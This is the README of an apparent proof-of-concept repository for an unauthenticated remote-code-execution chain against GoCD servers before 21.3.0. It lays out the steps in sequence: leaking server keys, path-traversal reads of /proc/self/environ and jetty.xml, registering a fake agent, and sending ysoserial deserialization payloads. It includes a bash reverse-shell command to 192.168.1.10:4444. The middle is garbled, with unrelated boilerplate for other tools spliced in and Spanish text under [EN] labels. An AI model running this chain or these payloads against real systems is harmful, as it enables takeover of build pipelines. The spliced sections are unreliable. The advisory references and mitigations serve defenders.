CVE-2021-43287 CVE-2021-43288 CVE-2021-43289 CVE-2021-43290
Autor / Author: Higor Farias — PRIDE Security
⚠️ AVISO LEGAL / LEGAL DISCLAIMER
[PT] Material produzido exclusivamente para fins educacionais e de pesquisa em segurança ofensiva. Utilize somente em ambientes controlados com autorização explícita. O uso indevido é de responsabilidade exclusiva do utilizador.
[EN] Producido exclusivamente con fines educativos y de investigación en seguridad ofensiva autorizada. Utilícelo únicamente en entornos controlados con permiso explícito por escrito. El uso indebido es responsabilidad exclusiva del usuario.
[PT] GoCD es una plataforma de CI/CD mantenida por ThoughtWorks. En versiones anteriores a la 21.3.0, investigadores de SonarSource identificaron una cadena de vulnerabilidades explotable sin ninguna autenticación. Los dos scripts de este repositorio demuestran:
gocd_rce_noauth.py — explotación completa de la cadena hasta RCE (Ejecución Remota de Código), sin credenciales.gocd_urldns.py — detección out-of-band de la deserialización Java mediante la gadget chain URLDNS y callback DNS (requiere credenciales válidas para listar agents registrados).[EN] GoCD is a CI/CD platform maintained by ThoughtWorks. In versions prior to 21.3.0, SonarSource researchers identified a vulnerability chain exploitable with zero authentication. The two scripts in this repository demonstrate:
gocd_rce_noauth.py — full chain exploitation up to RCE (Remote Code Execution), without credentials.gocd_urldns.py — out-of-band detection of Java deserialization via the URLDNS gadget chain and a DNS callback (requires valid credentials to list registered agents).[PT] GoCD ocupa una posición central en la cadena de entrega de software de una organización: orquesta la compilación, las pruebas, la generación de artefactos y los despliegues en producción. Al comprometer el servidor GoCD vía RCE (como lo demuestra gocd_rce_noauth.py), un atacante obtiene control sobre todas las etapas de ese proceso — pudiendo insertar backdoors en binarios, falsificar artefactos o exfiltrar código fuente y credenciales antes incluso de que cualquier producto llegue al usuario final. El escenario es análogo al ataque a SolarWinds (2020), donde el acceso al pipeline de build resultó en la distribución de malware a miles de clientes.
[EN] GoCD occupies a central position in an organization's software delivery chain: it orchestrates builds, tests, artifact generation, and production deployments. By compromising the GoCD server via RCE (as demonstrated by gocd_rce_noauth.py), an attacker gains control over every stage of that process — enabling backdoor insertion into binaries, artifact tampering, or source code and credential exfiltration before any product reaches the end user. The scenario mirrors the SolarWinds attack (2020), where build pipeline access led to malware distribution to thousands of customers.```mermaid
flowchart TD
ATK(["🕵️ Atacante / Attacker\n(não autenticado / unauthenticated)"])
subgraph EXPLOIT ["Exploração / Exploitation"]
E1["CVE-2021-43287\nLeitura do cruise_config\n(tokenGenerationKey + agentAutoRegisterKey)"]
E2["Path Traversal\nLeitura de /etc/go/jetty.xml\ne /proc/self/environ"]
E3["Registro de agente falso\nFake agent registration"]
E4["Desserialização Java\n(AspectJWeaver gadget chains)\nSobrescreve jetty.xml + restart"]
E5["💥 RCE no servidor GoCD\nRCE on GoCD server"]
E1 --> E2 --> E3 --> E4 --> E5
end
subgraph PIPELINE ["Pipeline CI/CD comprometido / Compromised CI/CD Pipeline"]
P1["📦 Build de artefatos\nBinary/artifact build"]
P2["🧪 Execução de testes\nTest execution"]
P3["📤 Publicação de pacotes\nPackage publication\n(npm, PyPI, Docker Hub...)"]
P4["🚀 Deploy em produção\nProduction deployment"]
P1 --> P2 --> P3 --> P4
end
subgraph IMPACT ["Impacto / Impact"]
I1["🔑 Vazamento de credenciais\nCredential leak\n(tokens, SSH keys, API keys)"]
I2["🦠 Backdoor em artefatos\nBackdoor in build artifacts"]
I3["📂 Exfiltração de código-fonte\nSource code exfiltration"]
I4["☠️ Ataque à cadeia de suprimentos\nSupply chain attack\n(usuários finais afetados / end users impacted)"]
I1 & I2 & I3 --> I4
end
ATK --> EXPLOIT
E5 -->|"Controle total do runner\nFull runner control"| PIPELINE
P1 -->|"Artefatos envenenados\nPoisoned artifacts"| I2
P3 -->|"Pacotes maliciosos\nMalicious packages"| I4
P4 -->|"Produção comprometida\nCompromised production"| I4
E5 -->|"Leitura de secrets\nSecrets read"| I1
E5 -->|"Acesso ao repositório\nRepository access"| I3
---
## 3. Vulnerabilidades / Vulnerabilities
| CVE | Tipo / Type | CVSS 3.1 | CWE | Auth |
|-----|-------------|:---:|-----|:---:|
| **CVE-2021-43287** | Divulgación de información / Information Disclosure | **7.5 HIGH** | CWE-200 | ❌ Ninguna / None |
| **CVE-2021-43288** | XSS almacenado / Stored XSS | **6.1 MEDIUM** | CWE-79 | Agent |
| **CVE-2021-43289** | Path Traversal — PUT | **8.1 HIGH** | CWE-22 | Agent |
| **CVE-2021-43290** | Path Traversal — GET | **8.1 HIGH** | CWE-22 | Agent |
### CVE-2021-43287 — Business Continuity: fuga sin autenticación / unauthenticated leak
**[PT]** El endpoint `/go/add-on/business-continuity/api/cruise_config` devuelve el XML completo de configuración del servidor **sin exigir autenticación**. El XML contiene los atributos del elemento `<server>`, incluyendo `agentAutoRegisterKey` y `tokenGenerationKey` — las dos claves necesarias para registrar agentes y firmar peticiones autenticadas. Adicionalmente, el parámetro `pluginName` del endpoint de plugins acepta secuencias de path traversal (`../../../../../../`), permitiendo la lectura de archivos arbitrarios del sistema — como `/proc/self/environ` y `/etc/go/jetty.xml`.
**[EN]** The `/go/add-on/business-continuity/api/cruise_config` endpoint returns the full server configuration XML **without requiring authentication**. The XML contains the `<server>` element attributes, including `agentAutoRegisterKey` and `tokenGenerationKey` — the two keys needed to register agents and sign authenticated requests. Additionally, the `pluginName` parameter of the plugin endpoint accepts path traversal sequences (`../../../../../../`), allowing arbitrary file reads — such as `/proc/self/environ` and `/etc/go/jetty.xml`.
**Endpoints explotados por los scripts / Endpoints used by the scripts:**```
GET /go/add-on/business-continuity/api/cruise_config
GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../proc/self/environ
GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../etc/go/jetty.xml
remoteBuildRepository[PT] El endpoint /go/remoting/remoteBuildRepository acepta objetos Java serializados (Content-Type: application/x-java-serialized-object) autenticados únicamente con el encabezado Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)). Como el tokenGenerationKey se obtiene mediante CVE-2021-43287, un atacante sin credenciales puede enviar cadenas de gadgets maliciosas. Los scripts utilizan dos gadgets personalizados de ysoserial basados en AspectJWeaver:
AspectJWeaverFileUpload1 — escribe un archivo arbitrario en el sistema de archivos del servidor (usado para sobrescribir /etc/go/jetty.xml con una versión maliciosa).AspectJWeaverFileRead1 — lee /dev/random, forzando a Jetty a reiniciarse y cargar el jetty.xml modificado, desencadenando la ejecución del comando inyectado mediante java.lang.Runtime.exec().[EN] El endpoint /go/remoting/remoteBuildRepository acepta objetos Java serializados (Content-Type: application/x-java-serialized-object) autenticados únicamente con el encabezado Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)). Dado que el tokenGenerationKey se obtiene mediante CVE-2021-43287, un atacante no autenticado puede enviar cadenas de gadgets maliciosas. Los scripts utilizan dos gadgets personalizados de ysoserial basados en AspectJWeaver:
AspectJWeaverFileUpload1 — escribe un archivo arbitrario en el sistema de archivos del servidor (usado para sobrescribir /etc/go/jetty.xml con una versión maliciosa).AspectJWeaverFileRead1 — lee /dev/random, forzando a Jetty a reiniciarse y cargar el jetty.xml modificado, desencadenando la ejecución del comando inyectado mediante java.lang.Runtime.exec().gocd_rce_noauth.py — Cadena completa sin autenticación / Full unauthenticated chain```ATACANTE (sem credenciais) / ATTACKER (no credentials) │ │ [Step 1] GET /go/add-on/business-continuity/api/cruise_config (CVE-2021-43287) │ └─► Extrai agentAutoRegisterKey + tokenGenerationKey do XML │ │ [Step 3] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../proc/self/environ │ └─► Lê variáveis de ambiente do processo GoCD │ │ [Step 4] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../etc/go/jetty.xml │ └─► Lê jetty.xml → salva como bkp_orig_jetty.xml │ │ [Step 6] Localmente: injeta payload em jetty.xml │ └─► Adiciona │ {comando} │ │ antes de → gera exploit_jetty.xml │ │ [Step 7] GET /go/admin/agent/token?uuid={novo_uuid} │ POST /go/admin/agent (com agentAutoRegisterKey extraída) │ └─► Registra agente falso chamado "gocd_rce_noauth" │ │ [Step 8] ysoserial AspectJWeaverFileUpload1 → serializa upload do exploit_jetty.xml → /etc/go/jetty.xml │ ysoserial AspectJWeaverFileRead1 → serializa leitura de /dev/random (trigger de restart) │ │ [Step 9] POST /go/remoting/remoteBuildRepository (Authorization: base64(HMAC-SHA256)) │ └─► Envia AspectJWeaverFileUpload1 → sobrescreve /etc/go/jetty.xml │ └─► Envia AspectJWeaverFileRead1 → força reinicialização do Jetty │ ▼ Jetty reinicia → carrega jetty.xml malicioso → Runtime.exec({comando}) → RCE
### `gocd_urldns.py` — Detección out-of-band / Detección out-of-band```
ATACANTE (com credenciais) / ATTACKER (with credentials)
│
│ [Step 1] POST /go/auth/security_check (j_username + j_password)
│ └─► Obtém JSESSIONID
│
│ [Step 2] GET /go/add-on/business-continuity/api/cruise_config
│ └─► Extrai tokenGenerationKey
│
│ [Step 4] GET plugin?pluginName=../../../../../../proc/self/environ
│ └─► Lê variáveis de ambiente
│
│ [Step 5] GET /go/api/agents (Accept: application/vnd.go.cd+json)
│ └─► Lista agents; seleciona o primeiro com agent_state != "Building"
│ e extrai seu UUID
│
│ [Step 9] ysoserial URLDNS {interact_url}
│ └─► Serializa gadget URLDNS apontando para servidor de interação DNS
│
│ [Step 10] POST /go/remoting/remoteBuildRepository
│ └─► Envia payload URLDNS com UUID + Authorization HMAC
│
▼
Servidor GoCD desserializa → faz requisição DNS para {interact_url}
DNS callback confirma vulnerabilidade de desserialização
pip install requests
### Ferramentas externas obrigatórias / Mandatory external tools
Ambos os scripts dependem de um JDK 32-bit e do `ysoserial.jar` no diretório de execução.
Ambos os scripts dependem de um JDK de 32 bits e do `ysoserial.jar` no diretório de trabalho.
| Ferramenta / Tool | Versão / Version | Finalidade / Purpose |
|---|---|---|
| **ysoserial.jar** | Custom (com gadgets AspectJWeaver) | Geração de payloads serializados |
| **OpenLogic OpenJDK** | `8u332-b09` **x32** | Runtime para ysoserial |
**Estrutura esperada de arquivos / Expected file structure:**```
diretório de execução / working directory
├── gocd_rce_noauth.py
├── gocd_urldns.py
├── ysoserial.jar
└── openlogic-openjdk-8u332-b09-linux-x32/
└── bin/
└── java
[PT] O script detecta o sistema operacional automaticamente e usa o caminho correspondente:
- Linux:
./openlogic-openjdk-8u332-b09-linux-x32/bin/java- Windows:
.\openlogic-openjdk-8u332-b09-windows-32\bin\java[EN] El script detecta automáticamente el sistema operativo y usa la ruta correspondiente:
- Linux:
./openlogic-openjdk-8u332-b09-linux-x32/bin/java- Windows:
.\openlogic-openjdk-8u332-b09-windows-32\bin\java
gocd_urldns.py: servicio de interacción DNS / DNS interaction service[PT] Se requiere un servidor de interacción DNS que registre callbacks (p. ej., interactsh o Burp Collaborator). El script envía la URL recibida en -i como argumento al gadget URLDNS.
[EN] Se requiere un servidor de interacción DNS que registre callbacks (p. ej., interactsh o Burp Collaborator). El script pasa la URL recibida mediante -i como argumento al gadget URLDNS.```bash
interactsh-client
---
## 6. Entorno PoC con Docker / PoC Docker Environment
### Iniciar el objetivo vulnerable / Start the vulnerable target```bash
# Clonar / Clone
git clone https://github.com/<usuario>/gocd-cve-poc.git
cd gocd-cve-poc
# Subir apenas o servidor GoCD 20.10.0
# Start only the GoCD 20.10.0 server
docker-compose up -d gocd-server
# Aguardar inicialização (~90s) / Wait for startup (~90s)
docker-compose logs -f gocd-server
# Pronto quando aparecer: "Go server port: 8153"
| Contenedor | Imagen / Image | Puerto / Port |
|---|---|---|
gocd-server-vuln | gocd/gocd-server:v20.10.0 | 8153 (HTTP), 8154 (HTTPS) |
gocd-agent-vuln | gocd/gocd-agent-alpine-3.12:v20.10.0 | — |
curl -sk http://localhost:8153/go/add-on/business-continuity/api/cruise_config | head -5
### Desmontaje```bash
docker-compose down -v
gocd_rce_noauth.py — RCE sem autenticação / RCE sin autenticación[PT] Executa a cadeia completa de exploração sem nenhuma credencial: lê o cruise_config, extrai as chaves do servidor, lê e modifica o jetty.xml via path traversal, registra um agente falso, serializa os gadgets AspectJWeaver com ysoserial e os envia ao endpoint de desserialização para sobrescrever o jetty.xml e forçar a reinicialização do Jetty com o comando injetado.
[EN] Ejecuta la cadena completa de explotación sin ninguna credencial: lee cruise_config, extrae las claves del servidor, lee y modifica jetty.xml mediante path traversal, registra un agente falso, serializa los gadgets AspectJWeaver con ysoserial y los envía al endpoint de deserialización para sobrescribir jetty.xml y forzar el reinicio de Jetty con el comando inyectado.
| Flag | Obrigatório / Required | Descrição (PT) | Description (EN) |
|---|---|---|---|
-c | ✅ | Comando a executar no servidor | Comando a ejecutar en el servidor |
-t | ✅ | URL base do GoCD (ex: http://gocd.example.com) | URL base de GoCD |
python3 gocd_rce_noauth.py
-t http://localhost:8153
-c "id"
| `--no-color` | Desactiva la salida en color |
| `--debug` | Habilita el registro de depuración |
| `--json` | Salida en formato JSON |
| `--quiet` | Modo silencioso |
| `--verbose` | Salida detallada |
### Ejemplos
```bash
# Escanear un objetivo
python3 cve_2026_XXXXX.py --target https://example.com
# Escanear con hilos personalizados
python3 cve_2026_XXXXX.py --target https://example.com --threads 20
# Escanear múltiples objetivos desde un archivo
python3 cve_2026_XXXXX.py --list targets.txt
# Salida en formato JSON
python3 cve_2026_XXXXX.py --target https://example.com --json
# Modo silencioso
python3 cve_2026_XXXXX.py --target https://example.com --quiet
git clone https://github.com/example/cve_2026_XXXXX.git
cd cve_2026_XXXXX
pip install -r requirements.txt
Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos. Los autores no son responsables de ningún uso indebido o daño causado por este software. Siempre obtenga el permiso adecuado antes de probar cualquier sistema.
Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.
python3 gocd_rce_noauth.py
-t http://localhost:8153
-c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"
| `-t, --target` | Objetivo a analizar (dominio, IP, CIDR, URL) |
| `-m, --mode` | Modo de análisis: `passive`, `active`, `full` |
| `-o, --output` | Ruta del archivo de salida (JSON, CSV, TXT) |
| `--threads` | Número de hilos concurrentes (predeterminado: 10) |
| `--timeout` | Tiempo de espera de la solicitud en segundos (predeterminado: 30) |
| `--api-key` | Clave de API para servicios de inteligencia de amenazas |
| `--verbose` | Habilitar registro detallado |
| `--no-color` | Deshabilitar la salida en color |
### Ejemplos
```bash
# Análisis pasivo de un dominio
python3 threatintel.py -t example.com -m passive
# Análisis completo con salida JSON
python3 threatintel.py -t 192.168.1.0/24 -m full -o results.json
# Análisis activo con hilos personalizados
python3 threatintel.py -t example.com -m active --threads 20 --verbose
Crea un archivo config.yaml en el directorio raíz:
api_keys:
virustotal: "YOUR_API_KEY"
shodan: "YOUR_API_KEY"
abuseipdb: "YOUR_API_KEY"
scan:
default_mode: "passive"
max_threads: 10
timeout: 30
output:
format: "json"
directory: "./results"
Realiza reconocimiento pasivo y activo:
Consulta múltiples fuentes de inteligencia de amenazas:
Analiza los datos recopilados y genera informes:
from threatintel import ThreatIntel
# Inicializar el cliente
client = ThreatIntel(api_key="YOUR_API_KEY")
# Realizar un análisis
results = client.scan(target="example.com", mode="passive")
# Acceder a los resultados
for finding in results.findings:
print(f"[{finding.severity}] {finding.title}")
print(f" {finding.description}")
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)Este proyecto está licenciado bajo la Licencia MIT: consulta el archivo LICENSE para más detalles.
Esta herramienta está destinada únicamente a fines educativos y de pruebas de seguridad autorizadas. Los usuarios son responsables de cumplir con todas las leyes y regulaciones aplicables. Los autores no se hacen responsables de ningún uso indebido o daño causado por esta herramienta.
python3 gocd_rce_noauth.py
-t http://localhost:8153
-c "touch /tmp/pwned_by_gocd_cve"
docker exec gocd-server-vuln ls /tmp/pwned_by_gocd_cve
#### Salida esperada / Expected output```
[1] Verificando arquivo cruise_config
Arquivo cruise_config acessível
[2] Lendo atributos do servidor
agentAutoRegisterKey: 3b4c5d6e-...
tokenGenerationKey: 7f8a9b0c-...
artifactsdir: /godata/artifacts
siteUrl: http://localhost:8153/go
...
[3] Verificando arquivo variáveis de ambiente do processo
Arquivo acessível
[4] Verificando arquivo jetty.xml
Arquivo acessível
[5] Criando backup do arquivo jetty.xml
Backup criado
[6] Criando arquivo exploit_jetty.xml
Arquivo criado
[7] Registrando novo agent
Gerando token do agent
Token gerado
Registrando novo agent
Agent registrado
Dados do agent: {'hostname': 'gocd_rce_noauth', 'uuid': 'a1b2c3d4-...', ...}
[8] Serializando objetos
Objetos serializados
[9] Enviando objetos serializados
Enviando exploit_jetty.xml
Arquivo enviado
Enviando comando para forçar reinicialização
Aguardando reinicialização
| Arquivo / Archivo | Conteúdo / Contenido |
|---|---|
bkp_orig_jetty.xml | Copia original de /etc/go/jetty.xml descargada del servidor |
exploit_jetty.xml | Versión modificada con Runtime.exec({comando}) inyectado antes de </Configure> |
[PT] Variante de detección out-of-band que confirma la vulnerabilidad de deserialización Java sin ejecutar código destructivo. Requiere credenciales para autenticar y listar los agents registrados, de la cual extrae el UUID de un agent con agent_state != "Building". Luego serializa el gadget URLDNS con ysoserial apuntando a una URL de interacción DNS y lo envía al endpoint /go/remoting/remoteBuildRepository. Un callback DNS confirmará que el servidor deserializó el payload.
[EN] Una variante de detección out-of-band que confirma la vulnerabilidad de deserialización Java sin ejecutar código destructivo. Requiere credenciales para autenticar y listar los agents registrados, de la cual extrae el UUID de un agent con agent_state != "Building". Luego serializa el gadget URLDNS con ysoserial apuntando a una URL de interacción DNS y lo envía al endpoint /go/remoting/remoteBuildRepository. Un callback DNS confirmará que el servidor deserializó el payload.
| Flag | Obligatorio / Required | Descripción (PT) | Description (EN) |
|---|---|---|---|
-u | ✅ | Usuario GoCD | GoCD username |
-p | ✅ | Contraseña GoCD | GoCD password |
-i | ✅ | URL de interacción DNS (ej: http://abcdef.oast.pro) | DNS interaction URL |
-t | ✅ | URL base de GoCD | GoCD base URL |
python3 gocd_urldns.py
-t http://localhost:8153
-u admin
-p password
-i http://abcdef.oast.pro
#### Salida esperada / Expected output```
[1] Autenticando
Autenticado com sucesso
[2] Verificando arquivo cruise_config
Arquivo cruise_config acessível
[3] Lendo atributos do servidor
agentAutoRegisterKey: 3b4c5d6e-...
tokenGenerationKey: 7f8a9b0c-...
...
[4] Verificando arquivo variáveis de ambiente do processo
Arquivo acessível
[5] Listando agents
Lista carregada
Buscando GUID de um agent
Localizado agent com status != Building
GUID: 550e8400-e29b-41d4-a716-446655440000
[9] Serializando objetos
b'\xac\xed\x00\x05...'
Objetos serializados
[10] Enviando objeto serializado
<Response [500]>
...
Objeto URLDNS enviado
[PT] Tras el envío, verificar en el panel de interactsh/Collaborator si hubo una solicitud DNS originada desde la IP del servidor GoCD. Esto confirma la vulnerabilidad de deserialización antes de explotar con
gocd_rce_noauth.py.[EN] Tras el envío, verificar en el panel de interactsh/Collaborator si hubo una solicitud DNS originada desde la IP del servidor GoCD. Esto confirma la vulnerabilidad de deserialización antes de explotar con
gocd_rce_noauth.py.
Ambos scripts calculan la autorización de la misma forma / Both scripts compute authorization the same way:```python Authorization = base64( HMAC-SHA256(key=tokenGenerationKey, msg=agent_uuid) )
---
## 8. Referências / References
### CVE — NVD / NIST
| CVE | Link |
|-----|------|
| CVE-2021-43287 | https://nvd.nist.gov/vuln/detail/CVE-2021-43287 |
| CVE-2021-43288 | https://nvd.nist.gov/vuln/detail/CVE-2021-43288 |
| CVE-2021-43289 | https://nvd.nist.gov/vuln/detail/CVE-2021-43289 |
| CVE-2021-43290 | https://nvd.nist.gov/vuln/detail/CVE-2021-43290 |
### Análise técnica / Technical writeups
| Recurso / Resource | URL |
|---|---|
| SonarSource — Agent 007: Pre-Auth Takeover (CVE-2021-43287) | https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover |
| SonarSource — Agent 008: Chaining Vulnerabilities (CVE-2021-43288/89/90) | https://blog.sonarsource.com/gocd-vulnerability-chain |
| AttackerKB — CVE-2021-43287 | https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50 |
### Commits de correção / Fix commits
| CVE | Commit | Mudança / Change |
|-----|--------|-----------------|
| CVE-2021-43287 | [`41abc21`](https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c) | Auth check no `DashBoardController.java` |
| CVE-2021-43288 | [`f5c1d2a`](https://github.com/gocd/gocd/commit/f5c1d2aa9ab302a97898a6e4b16218e64fe8e9e4) | `StringEscapeUtils.escapeHtml4()` em nomes de artefatos |
| CVE-2021-43289 | [`c22e042`](https://github.com/gocd/gocd/commit/c22e0428164af25d3e91baabd3f538a41cadc82f) | `isValidStageCounter()` no handler PUT |
| CVE-2021-43290 | [`4c4bb47`](https://github.com/gocd/gocd/commit/4c4bb4780eb0d3fc4cacfc4cfcc0b07e2eaf0595) | `isValidStageCounter()` no handler GET |
### Release notes / Versão corrigida
- GoCD v21.3.0: https://www.gocd.org/releases/#21-3-0
---
## 9. Cronologia / Timeline
| Data / Date | Evento / Event |
|-------------|----------------|
| 2021-10-18 – 2021-10-21 | SonarSource reporta as vulnerabilidades ao GoCD via HackerOne |
| 2021-10-23 | GoCD publica os patches no GitHub |
| 2021-10-26 | GoCD lança a versão v21.3.0 com todas as correções |
| 2021-11-04 | CVEs -43288, -43289, -43290 atribuídos |
| 2022-04-14 | CVE-2021-43287 publicado no NVD |
---
## 10. Mitigação / Mitigation
**[PT]**
1. **Atualize** o GoCD para a versão **≥ 21.3.0** imediatamente.
2. Se o add-on de Business Continuity não for utilizado, **desative-o**.
3. **Rotacione** o `tokenGenerationKey`, `agentAutoRegisterKey` e todas as credenciais de pipelines expostas.
4. **Revise os logs** em busca de requisições não autenticadas a `/go/add-on/business-continuity/` e posts para `/go/remoting/remoteBuildRepository` com `Content-Type: application/x-java-serialized-object`.
5. Aplique **segmentação de rede** para restringir acesso ao servidor GoCD a hosts autorizados.
**[EN]**
1. **Upgrade** GoCD to version **≥ 21.3.0** immediately.
2. If the Business Continuity add-on is not needed, **disable it**.
3. **Rotate** `tokenGenerationKey`, `agentAutoRegisterKey`, and all pipeline credentials that may have been exposed.
4. **Review logs** for unauthenticated requests to `/go/add-on/business-continuity/` and POST requests to `/go/remoting/remoteBuildRepository` with `Content-Type: application/x-java-serialized-object`.
5. Apply **network segmentation** to restrict GoCD server access to authorized hosts only.
---
*Para fins educacionais. / For educational purposes only.*